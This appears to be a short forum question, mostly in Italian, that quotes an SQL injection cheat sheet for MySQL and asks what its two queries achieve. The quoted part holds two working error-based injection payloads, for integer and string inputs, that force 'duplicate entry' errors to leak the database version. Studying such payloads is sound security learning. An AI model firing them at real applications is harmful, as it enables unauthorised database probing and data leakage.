Su questo link molto buono puoi vedere alcune espressioni di iniezione SQL per MySQL.
Quick Detection
Error Based SQLi
For integer inputs:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
For string inputs:
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
The attacks above should throw 'duplicate entry' errors.
Che cosa ottengono quelle due query SQL?